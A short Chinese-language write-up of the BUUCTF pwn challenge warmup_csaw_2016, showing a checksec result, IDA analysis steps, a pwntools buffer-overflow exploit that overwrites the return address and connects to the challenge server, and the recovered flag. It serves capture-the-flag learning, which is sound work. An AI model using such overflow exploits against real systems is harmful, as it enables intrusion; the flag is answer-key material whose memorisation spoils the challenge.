BUUCTF-PWN-warmup_csaw_2016

checksec 检查

 

 amd64 没保护 进ida分析

shift+f12 分析  

 

 一路追踪

 

 

 

针对写payload 

from pwn import *
p = remote('node4.buuoj.cn',27756)
payload = b'A' * 0x48 + p64(0x40060D)
p.sendline(payload)
p.interactive()

 

 flag{f7d8bee8-9e94-4e51-9a39-134452122679}